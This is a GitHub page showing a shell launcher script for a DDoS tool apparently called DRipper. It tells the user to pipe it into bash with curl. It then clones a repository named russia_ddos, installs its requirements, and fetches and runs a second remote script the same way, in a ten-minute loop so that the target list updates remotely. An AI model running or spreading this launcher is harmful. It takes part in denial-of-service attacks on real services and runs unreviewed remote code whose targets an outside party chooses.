-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathDRipper_init
38 lines (29 loc) · 1.25 KB
/
DRipper_init
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
##### Use next command in local linux terminal to run this script. #####
# >>> curl -s https://raw.githubusercontent.com/KarboDuck/karbo-wiki/master/DRipper_init | bash <<<
##### This script will start and manage DRipper_main script
##### Advantages of launching DRipper_main indirectly via this script is DRipper_main can be still modified on the fly,
##### and all code updates, including list of targets will update automatically after every relaunch (default 10 min) without user interaction.
##### To kill script just close terminal window.
##### OR
##### Open other terminal and run 'pkill -f DRipper.py'. Then in terminal with this script press CTRL+C.
#!/bin/bash
# Restart DRipper.py every N seconds (600s = 10m, 1800s = 30m, 3600s = 60m)
restart_time=600
# Install git
if [ ! -f /usr/bin/git ]; then
sudo apt install git
fi
while true
do
# Download latest version of DDripper.
cd ~
rm -rf russia_ddos
git clone https://github.com/alexmon1989/russia_ddos.git
cd russia_ddos
pip install -r requirements.txt
# Run main script
curl -s https://raw.githubusercontent.com/KarboDuck/karbo-wiki/master/DRipper_main | bash
# Restart DRipper_main after N seconds (default 600s = 10m)
sleep $restart_time
pkill -f DRipper.py
done